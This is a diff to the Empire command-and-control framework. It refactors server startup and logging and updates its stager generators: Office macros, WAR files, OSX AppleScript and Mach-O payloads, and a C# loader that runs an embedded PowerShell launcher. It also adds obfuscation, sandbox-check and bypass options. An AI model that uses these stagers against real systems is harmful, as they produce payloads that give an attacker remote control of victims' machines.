- pyversion = sys.version_info
- if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13:
- proto = ssl.PROTOCOL_TLS
- elif pyversion[0] >= 3:
- proto = ssl.PROTOCOL_TLS
+def setup_logging(args):
+ if args.log_level:
+ log_level = logging.getLevelName(args.log_level.upper())
else:
- proto = ssl.PROTOCOL_SSLv23
-
- context = ssl.SSLContext(proto)
- context.load_cert_chain(
- "%s/empire-chain.pem" % cert_path, "%s/empire-priv.key" % cert_path
- )
- app.run(host=ip, port=int(port), ssl_context=context, threaded=True)
-
-
-def start_sockets(
- empire_menu: MainMenu, ip="0.0.0.0", port: int = 5000, suppress: bool = False
-):
- app = Flask(__name__)
- app.json_encoder = MyJsonEncoder
- socketio = SocketIO(
- app, cors_allowed_origins="*", json=flask.json, async_mode="threading"
- )
-
- empire_menu.socketio = socketio
- room = "general" # A socketio user is in the general channel if the join the chat.
- chat_participants = {}
- chat_log = (
- []
- ) # This is really just meant to provide some context to a user that joins the convo.
-
- # In the future we can expand to store chat messages in the db if people want to retain a whole chat log.
-
- if suppress:
- # suppress the normal Flask output
- log = logging.getLogger("werkzeug")
- log.setLevel(logging.ERROR)
-
- def get_user_from_token():
- user = empire_menu.users.get_user_from_token(request.args.get("token", ""))
- if user:
- user["password"] = ""
- user["api_token"] = ""
-
- return user
-
- @socketio.on("connect")
- def connect():
- user = get_user_from_token()
- if user:
- print(helpers.color(f"[+] {user['username']} connected to socketio"))
- return
-
- return False
-
- @socketio.on("disconnect")
- def test_disconnect():
- user = get_user_from_token()
- print(
- helpers.color(
- f"[+] {'Client' if user is None else user['username']} disconnected from socketio"
- )
- )
-
- @socketio.on("chat/join")
- def on_join(data=None):
- """
- The calling user gets added to the "general" chat room.
- Note: while 'data' is unused, it is good to leave it as a parameter for compatibility reasons.
- The server fails if a client sends data when none is expected.
- :return: emits a join event with the user's details.
- """
- user = get_user_from_token()
- if user["username"] not in chat_participants:
- chat_participants[user["username"]] = user
- join_room(room)
- socketio.emit(
- "chat/join",
- {
- "user": user,
- "username": user["username"],
- "message": f"{user['username']} has entered the room.",
- },
- room=room,
- )
-
- @socketio.on("chat/leave")
- def on_leave(data=None):
- """
- The calling user gets removed from the "general" chat room.
- :return: emits a leave event with the user's details.
- """
- user = get_user_from_token()
- if user is not None:
- chat_participants.pop(user["username"], None)
- leave_room(room)
- socketio.emit(
- "chat/leave",
- {
- "user": user,
- "username": user["username"],
- "message": user["username"] + " has left the room.",
- },
- to=room,
- )
-
- @socketio.on("chat/message")
- def on_message(data):
- """
- The calling user sends a message.
- :param data: contains the user's message.
- :return: Emits a message event containing the message and the user's username
- """
- user = get_user_from_token()
- chat_log.append({"username": user["username"], "message": data["message"]})
- socketio.emit(
- "chat/message",
- {"username": user["username"], "message": data["message"]},
- to=room,
- )
-
- @socketio.on("chat/history")
- def on_history(data=None):
- """
- The calling user gets sent the last 20 messages.
- :return: Emit chat messages to the calling user.
- """
- sid = request.sid
- for x in range(len(chat_log[-20:])):
- username = chat_log[x]["username"]
- message = chat_log[x]["message"]
- socketio.emit(
- "chat/message",
- {"username": username, "message": message, "history": True},
- to=sid,
- )
-
- @socketio.on("chat/participants")
- def on_participants(data=None):
- """
- The calling user gets sent a list of "general" chat participants.
- :return: emit participant event containing list of users.
- """
- sid = request.sid
- socketio.emit("chat/participants", list(chat_participants.values()), to=sid)
-
- print(helpers.color("[*] Starting Empire SocketIO on %s:%s" % (ip, port)))
-
- cert_path = os.path.abspath("./empire/server/data/")
- proto = ssl.PROTOCOL_TLS
- context = ssl.SSLContext(proto)
- context.load_cert_chain(
- "{}/empire-chain.pem".format(cert_path), "{}/empire-priv.key".format(cert_path)
- )
- socketio.run(app, host=ip, port=port, ssl_context=context)
+ log_level = logging.getLevelName(empire_config.logging.level.upper())
+
+ logging_dir = empire_config.logging.directory
+ log_dir = Path(logging_dir)
+ log_dir.mkdir(parents=True, exist_ok=True)
+ root_log_file = log_dir / "empire_server.log"
+ root_logger = logging.getLogger()
+ # If this isn't set to DEBUG, then we won't see debug messages from the listeners.
+ root_logger.setLevel(logging.DEBUG)
+
+ root_logger_file_handler = logging.FileHandler(root_log_file)
+ root_logger_file_handler.setFormatter(logging.Formatter(LOG_FORMAT))
+ root_logger.addHandler(root_logger_file_handler)
+
+ simple_console = empire_config.logging.simple_console
+ if simple_console:
+ stream_format = SIMPLE_LOG_FORMAT
+ else:
+ stream_format = LOG_FORMAT
+ root_logger_stream_handler = logging.StreamHandler()
+ root_logger_stream_handler.setFormatter(ColorFormatter(stream_format))
+ root_logger_stream_handler.setLevel(log_level)
+ root_logger.addHandler(root_logger_stream_handler)
CSHARP_DIR_BASE = os.path.join(os.path.dirname(__file__), "csharp/Covenant")
INVOKE_OBFS_SRC_DIR_BASE = os.path.join(
- os.path.dirname(__file__), "powershell/Invoke-Obfuscation"
+ os.path.dirname(__file__), "data/Invoke-Obfuscation"
)
INVOKE_OBFS_DST_DIR_BASE = "/usr/local/share/powershell/Modules/Invoke-Obfuscation"
@@ -3067,112 +92,63 @@ def reset():
INVOKE_OBFS_SRC_DIR_BASE, INVOKE_OBFS_DST_DIR_BASE, dirs_exist_ok=True
)
+ file_util.remove_file("data/sessions.csv")
+ file_util.remove_file("data/credentials.csv")
+ file_util.remove_file("data/master.log")
-def run(args):
- def thread_websocket(empire_menu, suppress=False):
- try:
- start_sockets(
- empire_menu=empire_menu,
- suppress=suppress,
- ip=args.restip,
- port=int(args.socketport),
- )
- except SystemExit as e:
- pass
- def thread_api(empire_menu):
- try:
- start_restful_api(
- empireMenu=empire_menu,
- suppress=True,
- username=args.username,
- password=args.password,
- ip=args.restip,
- port=args.restport,
- )
- except SystemExit as e:
- pass
+def shutdown_handler(signum, frame):
+ """
+ This is used to gracefully shutdown Empire if uvicorn is not running yet.
+ Otherwise, the "shutdown" event in app.py will be used.
+ """
+ log.info("Shutting down Empire Server...")
- def server_startup_validator():
- print(helpers.color("[*] Testing APIs"))
- rng = random.SystemRandom()
- username = "test-" + "".join(
- rng.choice(string.ascii_lowercase) for i in range(4)
- )
- password = "".join(rng.choice(string.ascii_lowercase) for i in range(10))
- main.users.add_new_user(username, password)
- response = requests.post(
- url=f"https://{args.restip}:{args.restport}/api/admin/login",
- json={"username": username, "password": password},
- verify=False,
- )
- if response:
- print(helpers.color("[+] Empire RESTful API successfully started"))
+ if main:
+ log.info("Shutting down MainMenu...")
+ main.shutdown()
- try:
- sio = socketio.Client(ssl_verify=False)
- sio.connect(
- f'wss://{args.restip}:{args.socketport}?token={response.json()["token"]}'
- )
- print(helpers.color("[+] Empire SocketIO successfully started"))
- except Exception as e:
- print(e)
- print(helpers.color("[!] Empire SocketIO failed to start"))
- sys.exit()
- finally:
- cleanup_test_user(username)
- sio.disconnect()
+ exit(0)
- else:
- print(helpers.color("[!] Empire RESTful API failed to start"))
- cleanup_test_user(password)
- sys.exit()
- def cleanup_test_user(username: str):
- print(helpers.color("[*] Cleaning up test user"))
- user = (
- Session()
- .query(models.User)
- .filter(models.User.username == username)
- .first()
- )
- Session().delete(user)
- Session().commit()
+signal.signal(signal.SIGINT, shutdown_handler)
- def autostart_plugins():
- """
- Autorun plugin commands at server startup.
- """
- plugins = empire_config.plugins
- if plugins:
- for plugin in plugins:
- use_plugin = main.loadedPlugins[plugin]
- for option in plugins[plugin]:
- value = plugins[plugin][option]
- use_plugin.options[option]["Value"] = value
- results = use_plugin.execute("")
- if results is False:
- print(helpers.color(f"[!] Plugin failed to run: {plugin}"))
- else:
- print(helpers.color(f"[+] Plugin {plugin} ran successfully!"))
+
+def check_submodules():
+ log.info("Checking submodules...")
+ if not os.path.exists(Path(".git")):
+ log.info("No .git directory found. Skipping submodule check.")
+ return
+
+ result = subprocess.run(
+ ["git", "submodule", "status"], stdout=subprocess.PIPE, text=True
+ )
+ for line in result.stdout.splitlines():
+ if line[0] == "-":
+ log.error(
+ "Some git submodules are not initialized. Please run 'git submodule update --init --recursive'"
+ )
+ exit(1)
+
+
+def run(args):
+ setup_logging(args)
+ check_submodules()
if not args.restport:
- args.restport = "1337"
+ args.restport = 1337
else:
- args.restport = args.restport[0]
+ args.restport = int(args.restport[0])
if not args.restip:
args.restip = "0.0.0.0"
else:
args.restip = args.restip[0]
- if not args.socketport:
- args.socketport = "5000"
- else:
- args.socketport = args.socketport[0]
-
if args.version:
+ # log to stdout instead of stderr
print(empire.VERSION)
+ sys.exit()
elif args.reset:
choice = input(
@@ -3184,27 +160,19 @@ def autostart_plugins():
sys.exit()
else:
+ global main
+
+ # Calling run more than once, such as in the test suite
+ # Will generate more instances of MainMenu, which then
+ # causes shutdown failure.
+ if main is None:
+ main = empire.MainMenu(args=args)
+
if not os.path.exists("./empire/server/data/empire-chain.pem"):
- print(helpers.color("[*] Certificate not found. Generating..."))
+ log.info("Certificate not found. Generating...")
subprocess.call("./setup/cert.sh")
time.sleep(3)
- # start an Empire instance and RESTful API with the teamserver interface
- main = empire.MainMenu(args=args)
-
- thread = helpers.KThread(target=thread_api, args=(main,))
- thread.daemon = True
- thread.start()
- sleep(2)
-
- thread2 = helpers.KThread(target=thread_websocket, args=(main, False))
- thread2.daemon = True
- thread2.start()
- sleep(2)
-
- server_startup_validator()
- autostart_plugins()
-
- main.teamserver()
+ app.initialize(secure=args.secure_api, port=args.restport)
sys.exit()
diff --git a/empire/server/stagers/CSharpPS.yaml b/empire/server/stagers/CSharpPS.yaml
index 33fc80462..851d44d0b 100644
--- a/empire/server/stagers/CSharpPS.yaml
+++ b/empire/server/stagers/CSharpPS.yaml
@@ -12,10 +12,15 @@
- Net35
Code: |
using System;
+ using System.Resources;
+ using System.Linq;
+ using System.Collections;
using System.Text;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
-
+ using System.IO;
+ using System.Reflection;
+
class Program
{
public static void Main(string[] args)
@@ -23,11 +28,20 @@
PowerShell ps = PowerShell.Create();
- String script = "{{ REPLACE_LAUNCHER }}";
- ps.AddScript(System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String(script)));
try
{
- ps.Invoke();
+ var assembly = Assembly.GetExecutingAssembly();
+ var resourceName = "launcher.txt";
+
+ string[] names = assembly.GetManifestResourceNames();
+
+ using (StreamReader reader = new StreamReader(assembly.GetManifestResourceStream(resourceName)))
+ {
+ string script = reader.ReadToEnd();
+ ps.AddScript(script);
+ }
+ ps.Invoke();
+
}
catch (Exception e)
{
@@ -48,6 +62,12 @@
- Name: System.Management.Automation.dll
Location: net40\System.Management.Automation.dll
DotNetVersion: Net40
+ - Name: System.Core.dll
+ Location: net40\System.Core.dll
+ DotNetVersion: Net40
+ - Name: System.Core.dll
+ Location: net35\System.Core.dll
+ DotNetVersion: Net35
- Name: System.dll
Location: net40\System.dll
DotNetVersion: Net40
@@ -60,4 +80,6 @@
- Name: mscorlib.dll
Location: net35\mscorlib.dll
DotNetVersion: Net35
- EmbeddedResources: []
\ No newline at end of file
+ EmbeddedResources:
+ - Name: launcher.txt
+ Location: launcher.txt
\ No newline at end of file
diff --git a/empire/server/stagers/multi/bash.py b/empire/server/stagers/multi/bash.py
index a514c9b6d..379e7b70e 100644
--- a/empire/server/stagers/multi/bash.py
+++ b/empire/server/stagers/multi/bash.py
@@ -1,16 +1,22 @@
from __future__ import print_function
+import logging
from builtins import object
-from empire.server.common import helpers
+log = logging.getLogger(__name__)
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "BashScript",
- "Author": ["@harmj0y"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ }
+ ],
"Description": "Generates self-deleting Bash script to execute the Empire stage0 launcher.",
"Comments": [""],
}
@@ -66,7 +72,6 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
@@ -85,7 +90,7 @@ def generate(self):
)
if launcher == "":
- print(helpers.color("[!] Error in launcher command generation."))
+ log.error("Error in launcher command generation.")
return ""
else:
diff --git a/empire/server/stagers/multi/launcher.py b/empire/server/stagers/multi/launcher.py
index d5f6b6b87..b9eb44446 100644
--- a/empire/server/stagers/multi/launcher.py
+++ b/empire/server/stagers/multi/launcher.py
@@ -1,24 +1,27 @@
from __future__ import print_function
+import logging
from builtins import object
-from empire.server.common import helpers
+log = logging.getLogger(__name__)
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "Launcher",
- "Author": ["@harmj0y"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ }
+ ],
"Description": "Generates a one-liner stage0 launcher for Empire.",
"Comments": [""],
}
- # any options needed by the stager, settable during runtime
self.options = {
- # format:
- # value_name : {description, required, default_value}
"Listener": {
"Description": "Listener to generate stager for.",
"Required": True,
@@ -28,7 +31,7 @@ def __init__(self, mainMenu, params=[]):
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "powershell",
- "SuggestedValues": ["powershell", "python"],
+ "SuggestedValues": ["powershell", "python", "ironpython", "csharp"],
"Strict": True,
},
"StagerRetries": {
@@ -89,12 +92,9 @@ def __init__(self, mainMenu, params=[]):
},
}
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
- # parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]["Value"] = value
@@ -120,23 +120,42 @@ def generate(self):
if obfuscate.lower() == "true":
invoke_obfuscation = True
- # generate the launcher code
- launcher = self.mainMenu.stagers.generate_launcher(
- listener_name,
- language=language,
- encode=encode,
- obfuscate=invoke_obfuscation,
- obfuscationCommand=obfuscate_command,
- userAgent=user_agent,
- proxy=proxy,
- proxyCreds=proxy_creds,
- stagerRetries=stager_retries,
- safeChecks=safe_checks,
- bypasses=self.options["Bypasses"]["Value"],
- )
+ if language in ["csharp", "ironpython"]:
+ if (
+ self.mainMenu.listenersv2.get_active_listener_by_name(
+ listener_name
+ ).info["Name"]
+ != "HTTP[S]"
+ ):
+ log.error(
+ "Only HTTP[S] listeners are supported for C# and IronPython stagers."
+ )
+ return ""
+
+ launcher = self.mainMenu.stagers.generate_exe_oneliner(
+ language=language,
+ obfuscate=invoke_obfuscation,
+ obfuscation_command=obfuscate_command,
+ encode=encode,
+ listener_name=listener_name,
+ )
+ else:
+ launcher = self.mainMenu.stagers.generate_launcher(
+ listener_name,
+ language=language,
+ encode=encode,
+ obfuscate=invoke_obfuscation,
+ obfuscation_command=obfuscate_command,
+ userAgent=user_agent,
+ proxy=proxy,
+ proxyCreds=proxy_creds,
+ stagerRetries=stager_retries,
+ safeChecks=safe_checks,
+ bypasses=self.options["Bypasses"]["Value"],
+ )
if launcher == "":
- print(helpers.color("[!] Error in launcher command generation."))
+ log.error("Error in launcher command generation.")
return ""
return launcher
diff --git a/empire/server/stagers/multi/macro.py b/empire/server/stagers/multi/macro.py
index 4dc088f0a..9dc613345 100755
--- a/empire/server/stagers/multi/macro.py
+++ b/empire/server/stagers/multi/macro.py
@@ -1,17 +1,40 @@
from __future__ import print_function
+import logging
import re
from builtins import object, range, str
from empire.server.common import helpers
+log = logging.getLogger(__name__)
+
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "Macro",
- "Author": ["@enigma0x3", "@harmj0y", "@DisK0nn3cT", "@malcomvetter"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ },
+ {
+ "Name": "",
+ "Handle": "@enigma0x3",
+ "Link": "",
+ },
+ {
+ "Name": "",
+ "Handle": "@DisK0nn3cT",
+ "Link": "",
+ },
+ {
+ "Name": "",
+ "Handle": "@malcomvetter",
+ "Link": "",
+ },
+ ],
"Description": "Generates a Win/Mac cross platform MS Office macro for Empire, compatible with Office 97-2016 including Mac 2011 and 2016 (sandboxed).",
"Comments": [
"http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/",
@@ -144,7 +167,7 @@ def formStr(varstr, instr):
)
if pylauncher == "":
- print(helpers.color("[!] Error in python launcher command generation."))
+ log.error("Error in python launcher command generation.")
return ""
# render python launcher into python payload
@@ -158,7 +181,7 @@ def formStr(varstr, instr):
language=language,
encode=True,
obfuscate=invoke_obfuscation,
- obfuscationCommand=obfuscate_command,
+ obfuscation_command=obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -168,7 +191,7 @@ def formStr(varstr, instr):
)
if poshlauncher == "":
- print(helpers.color("[!] Error in powershell launcher command generation."))
+ log.error("Error in powershell launcher command generation.")
return ""
# render powershell launcher into powershell payload
diff --git a/empire/server/stagers/multi/pyinstaller.py b/empire/server/stagers/multi/pyinstaller.py
index d4aeb9f79..92d9591dc 100644
--- a/empire/server/stagers/multi/pyinstaller.py
+++ b/empire/server/stagers/multi/pyinstaller.py
@@ -1,5 +1,6 @@
from __future__ import print_function
+import logging
import os
from builtins import object, str
@@ -23,13 +24,20 @@
"""
+log = logging.getLogger(__name__)
+
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "pyInstaller Launcher",
- "Author": ["@TweekFawkes"],
+ "Authors": [
+ {
+ "Name": "Bryce Kunz",
+ "Handle": "@TweekFawkes",
+ "Link": "https://twitter.com/TweekFawkes",
+ }
+ ],
"Description": "Generates an ELF binary payload launcher for Empire using pyInstaller.",
"Comments": [
"Needs to have pyInstaller setup on the system you are creating the stager on. For debian based operatins systems try the following command: apt-get -y install python-pip && pip install pyinstaller"
@@ -89,7 +97,6 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
@@ -106,12 +113,8 @@ def generate(self):
output_str = subprocess.check_output(["which", "pyinstaller"])
if output_str == "":
- print(helpers.color("[!] Error pyInstaller is not installed"))
- print(
- helpers.color(
- "[!] Try: apt-get -y install python-pip && pip install pyinstaller"
- )
- )
+ log.error("pyInstaller is not installed")
+ log.error("Try: apt-get -y install python-pip && pip install pyinstaller")
return ""
else:
# generate the launcher code
@@ -123,7 +126,7 @@ def generate(self):
safeChecks=safe_checks,
)
if launcher == "":
- print(helpers.color("[!] Error in launcher command generation."))
+ log.error("Error in launcher command generation.")
return ""
else:
files_to_extract_imports_from_list = []
diff --git a/empire/server/stagers/multi/war.py b/empire/server/stagers/multi/war.py
index 6179cb6dd..670743cc7 100644
--- a/empire/server/stagers/multi/war.py
+++ b/empire/server/stagers/multi/war.py
@@ -1,16 +1,24 @@
+from __future__ import print_function
+
import io
+import logging
import zipfile
from builtins import object, str
-from empire.server.common import helpers
+log = logging.getLogger(__name__)
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "WAR",
- "Author": ["Andrew @ch33kyf3ll0w Bonstrom"],
+ "Authors": [
+ {
+ "Name": "Andrew Bonstrom",
+ "Handle": "@ch33kyf3ll0w",
+ "Link": "",
+ }
+ ],
"Description": "Generates a Deployable War file.",
"Comments": [
"You will need to deploy the WAR file to activate. Great for interfaces that accept a WAR file such as Apache Tomcat, JBoss, or Oracle Weblogic Servers."
@@ -30,7 +38,7 @@ def __init__(self, mainMenu, params=[]):
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "powershell",
- "SuggestedValues": ["powershell"],
+ "SuggestedValues": ["powershell", "csharp", "ironpython"],
"Strict": True,
},
"StagerRetries": {
@@ -88,7 +96,6 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
@@ -108,21 +115,41 @@ def generate(self):
if app_name == "":
app_name = listener_name
- # generate the launcher code
- launcher = self.mainMenu.stagers.generate_launcher(
- listener_name,
- language=language,
- encode=True,
- obfuscate=obfuscate,
- obfuscationCommand=obfuscate_command,
- userAgent=user_agent,
- proxy=proxy,
- proxyCreds=proxy_creds,
- stagerRetries=stager_retries,
- )
+ if language in ["csharp", "ironpython"]:
+ if (
+ self.mainMenu.listenersv2.get_active_listener_by_name(
+ listener_name
+ ).info["Name"]
+ != "HTTP[S]"
+ ):
+ log.error(
+ "Only HTTP[S] listeners are supported for C# and IronPython stagers."
+ )
+ return ""
+
+ launcher = self.mainMenu.stagers.generate_exe_oneliner(
+ language=language,
+ obfuscate=obfuscate,
+ obfuscation_command=obfuscate_command,
+ encode=True,
+ listener_name=listener_name,
+ )
+ elif language == "powershell":
+ # generate the launcher code
+ launcher = self.mainMenu.stagers.generate_launcher(
+ listener_name,
+ language=language,
+ encode=True,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ userAgent=user_agent,
+ proxy=proxy,
+ proxyCreds=proxy_creds,
+ stagerRetries=stager_retries,
+ )
if launcher == "":
- print(helpers.color("[!] Error in launcher command generation."))
+ log.error("Error in launcher command generation.")
return ""
else:
diff --git a/empire/server/stagers/osx/applescript.py b/empire/server/stagers/osx/applescript.py
index f2a3fca3b..d19f88b44 100644
--- a/empire/server/stagers/osx/applescript.py
+++ b/empire/server/stagers/osx/applescript.py
@@ -1,16 +1,22 @@
from __future__ import print_function
+import logging
from builtins import object
-from empire.server.common import helpers
+log = logging.getLogger(__name__)
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "AppleScript",
- "Author": ["@harmj0y"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ }
+ ],
"Description": "Generates AppleScript to execute the Empire stage0 launcher.",
"Comments": [""],
}
@@ -61,7 +67,6 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
@@ -78,7 +83,7 @@ def generate(self):
)
if launcher == "":
- print(helpers.color("[!] Error in launcher command generation."))
+ log.error("Error in launcher command generation.")
return ""
else:
diff --git a/empire/server/stagers/osx/application.py b/empire/server/stagers/osx/application.py
index 1f6618e74..8cba17281 100644
--- a/empire/server/stagers/osx/application.py
+++ b/empire/server/stagers/osx/application.py
@@ -1,16 +1,22 @@
from __future__ import print_function
+import logging
from builtins import object
-from empire.server.common import helpers
+log = logging.getLogger(__name__)
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "Application",
- "Author": ["@xorrior"],
+ "Authors": [
+ {
+ "Name": "Chris Ross",
+ "Handle": "@xorrior",
+ "Link": "https://twitter.com/xorrior",
+ }
+ ],
"Description": "Generates an Empire Application.",
"Comments": [""],
}
@@ -78,11 +84,9 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
- save_path = self.options["OutFile"]["Value"]
user_agent = self.options["UserAgent"]["Value"]
safe_checks = self.options["SafeChecks"]["Value"]
arch = self.options["Architecture"]["Value"]
@@ -98,7 +102,7 @@ def generate(self):
)
if launcher == "":
- print(helpers.color("[!] Error in launcher command generation."))
+ log.error("Error in launcher command generation.")
return ""
else:
diff --git a/empire/server/stagers/osx/ducky.py b/empire/server/stagers/osx/ducky.py
index 9066798bd..dd621f0d6 100755
--- a/empire/server/stagers/osx/ducky.py
+++ b/empire/server/stagers/osx/ducky.py
@@ -7,10 +7,15 @@
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "DuckyLauncher",
- "Author": ["@xorrior"],
+ "Authors": [
+ {
+ "Name": "Chris Ross",
+ "Handle": "@xorrior",
+ "Link": "https://twitter.com/xorrior",
+ }
+ ],
"Description": "Generates a ducky script that runs a one-liner stage0 launcher for Empire.",
"Comments": [""],
}
@@ -61,7 +66,6 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
@@ -81,7 +85,6 @@ def generate(self):
print(helpers.color("[!] Error in launcher command generation."))
return ""
else:
-
ducky_code = "DELAY 1000\n"
ducky_code += "COMMAND SPACE\n"
ducky_code += "DELAY 1000\n"
diff --git a/empire/server/stagers/osx/dylib.py b/empire/server/stagers/osx/dylib.py
index 40dae619f..9a18ae633 100644
--- a/empire/server/stagers/osx/dylib.py
+++ b/empire/server/stagers/osx/dylib.py
@@ -7,10 +7,15 @@
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "dylib",
- "Author": ["@xorrior"],
+ "Authors": [
+ {
+ "Name": "Chris Ross",
+ "Handle": "@xorrior",
+ "Link": "https://twitter.com/xorrior",
+ }
+ ],
"Description": "Generates a dylib.",
"Comments": [""],
}
diff --git a/empire/server/stagers/osx/jar.py b/empire/server/stagers/osx/jar.py
index 2f3e20cd0..a9c91ff70 100644
--- a/empire/server/stagers/osx/jar.py
+++ b/empire/server/stagers/osx/jar.py
@@ -7,10 +7,15 @@
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "Jar",
- "Author": ["@xorrior"],
+ "Authors": [
+ {
+ "Name": "Chris Ross",
+ "Handle": "@xorrior",
+ "Link": "https://twitter.com/xorrior",
+ }
+ ],
"Description": "Generates a JAR file.",
"Comments": [""],
}
@@ -61,7 +66,6 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
diff --git a/empire/server/stagers/osx/launcher.py b/empire/server/stagers/osx/launcher.py
deleted file mode 100644
index b58cb5266..000000000
--- a/empire/server/stagers/osx/launcher.py
+++ /dev/null
@@ -1,96 +0,0 @@
-from __future__ import print_function
-
-from builtins import object
-
-from empire.server.common import helpers
-
-
-class Stager(object):
- def __init__(self, mainMenu, params=[]):
-
- self.info = {
- "Name": "Launcher",
- "Author": ["@harmj0y"],
- "Description": "Generates a one-liner stage0 launcher for Empire.",
- "Comments": [""],
- }
-
- # any options needed by the stager, settable during runtime
- self.options = {
- # format:
- # value_name : {description, required, default_value}
- "Listener": {
- "Description": "Listener to generate stager for.",
- "Required": True,
- "Value": "",
- },
- "Language": {
- "Description": "Language of the stager to generate.",
- "Required": True,
- "Value": "python",
- "SuggestedValues": ["python"],
- "Strict": True,
- },
- "OutFile": {
- "Description": "Filename that should be used for the generated output.",
- "Required": False,
- "Value": "",
- },
- "SafeChecks": {
- "Description": "Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.",
- "Required": True,
- "Value": "True",
- "SuggestedValues": ["True", "False"],
- "Strict": True,
- },
- "Base64": {
- "Description": "Switch. Base64 encode the output.",
- "Required": True,
- "Value": "True",
- "SuggestedValues": ["True", "False"],
- "Strict": True,
- },
- "UserAgent": {
- "Description": "User-agent string to use for the staging request (default, none, or other).",
- "Required": False,
- "Value": "default",
- },
- }
-
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
- self.mainMenu = mainMenu
-
- for param in params:
- # parameter format is [Name, Value]
- option, value = param
- if option in self.options:
- self.options[option]["Value"] = value
-
- def generate(self):
-
- # extract all of our options
- language = self.options["Language"]["Value"]
- listener_name = self.options["Listener"]["Value"]
- base64 = self.options["Base64"]["Value"]
- user_agent = self.options["UserAgent"]["Value"]
- safe_checks = self.options["SafeChecks"]["Value"]
-
- encode = False
- if base64.lower() == "true":
- encode = True
-
- # generate the launcher code
- launcher = self.mainMenu.stagers.generate_launcher(
- listener_name,
- language=language,
- encode=encode,
- userAgent=user_agent,
- safeChecks=safe_checks,
- )
-
- if launcher == "":
- print(helpers.color("[!] Error in launcher command generation."))
- return ""
-
- return launcher
diff --git a/empire/server/stagers/osx/macho.py b/empire/server/stagers/osx/macho.py
index 127ae25c1..a91bf5b86 100644
--- a/empire/server/stagers/osx/macho.py
+++ b/empire/server/stagers/osx/macho.py
@@ -7,10 +7,15 @@
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "macho",
- "Author": ["@xorrior"],
+ "Authors": [
+ {
+ "Name": "Chris Ross",
+ "Handle": "@xorrior",
+ "Link": "https://twitter.com/xorrior",
+ }
+ ],
"Description": "Generates a macho executable.",
"Comments": [""],
}
@@ -61,11 +66,9 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
- save_path = self.options["OutFile"]["Value"]
user_agent = self.options["UserAgent"]["Value"]
safe_checks = self.options["SafeChecks"]["Value"]
diff --git a/empire/server/stagers/osx/macro.py b/empire/server/stagers/osx/macro.py
index 227cf0b13..785820b5a 100644
--- a/empire/server/stagers/osx/macro.py
+++ b/empire/server/stagers/osx/macro.py
@@ -8,10 +8,30 @@
class Stager(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "AppleScript",
- "Author": ["@harmj0y", "@dchrastil", "@import-au"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ },
+ {
+ "Name": "",
+ "Handle": "@dchrastil",
+ "Link": "",
+ },
+ {
+ "Name": "",
+ "Handle": "@DisK0nn3cT",
+ "Link": "",
+ },
+ {
+ "Name": "",
+ "Handle": "@import-au",
+ "Link": "",
+ },
+ ],
"Description": "An OSX office macro that supports newer versions of Office.",
"Comments": [
"http://stackoverflow.com/questions/6136798/vba-shell-function-in-office-2011-for-mac"
